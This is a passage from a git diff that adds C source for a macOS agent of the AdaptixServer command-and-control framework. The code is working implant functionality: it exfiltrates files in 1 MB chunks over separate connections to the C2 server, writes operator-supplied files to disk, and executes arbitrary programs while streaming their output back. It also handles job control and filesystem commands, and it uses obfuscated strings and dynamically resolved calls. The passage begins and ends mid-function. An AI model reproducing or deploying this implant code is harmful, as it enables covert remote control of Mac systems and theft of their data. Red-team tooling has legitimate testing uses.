write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key, const char** val, uint32_t* vlen) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key) && ax_memcmp(k, key, kl) == 0) { + return mp_read_str(&r, val, vlen); + } + mp_skip(&r); + } + return -1; +} + +// ── Download ── +// Go: ParamsDownload{Task string, Path string} +// Spawns thread → opens new connection → streams file in 1MB chunks +// Sends ExfilPack init, then Message{Type:2, Object:[Job{cmd_id:5, ...}]} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void* download_thread(void* arg) { + download_args_t* args = (download_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[args->job_idx]; + + _async_dbg("[DOWNLOAD] === download_thread start ==="); + _async_dbg(args->task); + _async_dbg(args->path); + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + _async_dbg("[DOWNLOAD] jobs_open_connection failed!"); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + _async_dbg("[DOWNLOAD] C2 connection opened"); + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + _async_dbg("[DOWNLOAD] sending ExfilPack init..."); + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_init failed!"); + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + _async_dbg("[DOWNLOAD] ExfilPack sent OK"); + + // Parse FileId from task hex string (e.g. "03274ad5") + int file_id = ax_hextoi(args->task); + _async_dbg_int("[DOWNLOAD] file_id=", file_id); + + // Open file + _async_dbg("[DOWNLOAD] opening file..."); + int fd = R_open(args->path, O_RDONLY, 0); + if (fd < 0) { + _async_dbg("[DOWNLOAD] R_open failed!"); + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + + // Get file size + struct stat st; + R_fstat(fd, &st); + size_t total_size = (size_t)st.st_size; + _async_dbg_int("[DOWNLOAD] file size=", (int64_t)total_size); + + // Read and stream in chunks + uint8_t* chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + size_t offset = 0; + int first = 1; + int chunk_count = 0; + + while (offset < total_size && !job->canceled) { + size_t remaining = total_size - offset; + size_t to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + ssize_t n = R_read(fd, chunk_buf, to_read); + if (n <= 0) break; + + int is_last = (offset + (size_t)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (chunk_count < 3) { + _async_dbg_int("[DOWNLOAD] chunk#=", chunk_count); + _async_dbg_int("[DOWNLOAD] read n=", (int64_t)n); + _async_dbg_int("[DOWNLOAD] offset=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] is_last=", is_last); + _async_dbg_int("[DOWNLOAD] msg size=", (int64_t)ans_w.buf.len); + } + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_message failed!"); + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (size_t)n; + first = 0; + chunk_count++; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + _async_dbg_int("[DOWNLOAD] === download complete, total chunks=", chunk_count); + _async_dbg_int("[DOWNLOAD] total bytes sent=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] canceled=", job->canceled); + + ax_free(chunk_buf, DOWNLOAD_CHUNK_SIZE); + R_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; +} + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + _async_dbg("[DOWNLOAD] === task_download called ==="); + _async_dbg_int("[DOWNLOAD] data_len=", data_len); + + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + _async_dbg_int("[DOWNLOAD] map_count=", mc); + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed task="); + _async_dbg(task); + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed path="); + _async_dbg(path); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + _async_dbg("[DOWNLOAD] missing task or path!"); + _async_dbg(task[0] ? "task OK" : "task EMPTY"); + _async_dbg(path[0] ? "path OK" : "path EMPTY"); + write_error(w, "missing task or path"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + // Prepare thread args + download_args_t* args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + R_pthread_create(&job->thread, (void*)0, download_thread, args); + R_pthread_detach(job->thread); + + // Return immediate ack + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Go: ParamsUpload{Task string, Path string, Content []byte, Finish bool} +// Synchronous — data received in chunks via normal command loop + +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t* content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t* ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t* up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t* new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data, up->data_cap); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = R_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + R_write(fd, up->data, up->data_len); + } + R_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data, up->data_cap); + // Shift remaining entries + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Go: ParamsRun{Program string, Args []string, Task string} +// Spawns thread → opens new connection → runs process → streams stdout/stderr + +#define RUN_CHUNK_SIZE 65536 // 64KB (0x10000) + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char* args[64]; + int argc; +} run_args_t; + +static void* run_thread(void* arg) { + run_args_t* rargs = (run_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (R_pipe(stdout_pipe) != 0 || R_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Build argv for execvp + // argv[0] = program, argv[1..N] = args, argv[N+1] = NULL + char* exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = R_fork(); + if (pid < 0) { + R_close(stdout_pipe[0]); R_close(stdout_pipe[1]); + R_close(stderr_pipe[0]); R_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + if (pid == 0) { + // Child process + R_setpgid(0, 0); + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + R_dup2(stdout_pipe[1], 1); + R_dup2(stderr_pipe[1], 2); + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(rargs->program, exec_argv, environ); + R_exit(1); + } + + // Parent: close write ends + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + + // Set reads to non-blocking + R_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + R_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop — read stdout/stderr, send every ~1 second + uint8_t* out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t* err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + R_usleep(1000000); // 1 second + + // Read stdout + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + // Read stderr + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 0) err_n = 0; + + // Check if process exited + int status; + int wret = R_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + // Send output if any + if (out_n > 0 || err_n > 0) { + // Build stdout/stderr strings (null-terminate for msgpack str) + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + } + + // If canceled, kill process + if (job->canceled) { + R_killpg(pid, 9); // SIGKILL + R_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + ax_free(out_buf, RUN_CHUNK_SIZE); + ax_free(err_buf, RUN_CHUNK_SIZE); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; +} + +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsRun{Program, Args, Task} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + char* args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "missing task or program"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + // Prepare thread args + run_args_t* rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + R_pthread_create(&job->thread, (void*)0, run_thread, rargs); + R_pthread_detach(job->thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── +// Returns list of active jobs: [{job_id, job_type}, ...] + +int task_job_list(mp_writer_t* w) { + job_context_t* ctx = &g_job_ctx; + + // Count active jobs + int count = 0; + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── +// Go: ParamsJobKill{Id string} + +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + const char* id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + // Copy ID to null-terminated string + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t* ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels + // Try to parse as integer for channel_id + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h new file mode 100644 index 000000000..b5f489462 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers — download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_job_list(mp_writer_t* w); +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_ASYNC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 000000000..363e79e4b --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,501 @@ +#include "tasks_fs.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Helper: expand ~ to home directory +static void normalize_path(const char* input, char* out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + const char* home = R_getenv("HOME"); + if (!home) { + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + home = pw ? pw->pw_dir : "/tmp"; + } + ax_strncpy(out, home, out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +// Helper: parse a single string field from msgpack params +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key_name) && ax_memcmp(key, key_name, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// Helper: parse two string fields (src, dst) +static int parse_two_strings(const uint8_t* data, uint32_t data_len, + const char* key1, char* out1, size_t out1_size, + const char* key2, char* out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + int found = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key1) && ax_memcmp(key, key1, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == ax_strlen(key2) && ax_memcmp(key, key2, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// ---- Command handlers ---- + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (R_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == NULL) { + write_error(w, "getcwd failed"); + return 0; + } + + // Response: AnsPwd {path: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size (max 1 MB) + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 Mb (use download)"); + return 0; + } + + int fd = R_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t* content = (uint8_t*)ax_malloc((size_t)st.st_size); + ssize_t n = R_read(fd, content, (size_t)st.st_size); + R_close(fd); + + if (n < 0) { + ax_free(content, (size_t)st.st_size); + write_error(w, "read failed"); + return 0; + } + + // Response: AnsCat {path, content} + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)n); + + ax_free(content, (size_t)st.st_size); + return 0; +} + +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char 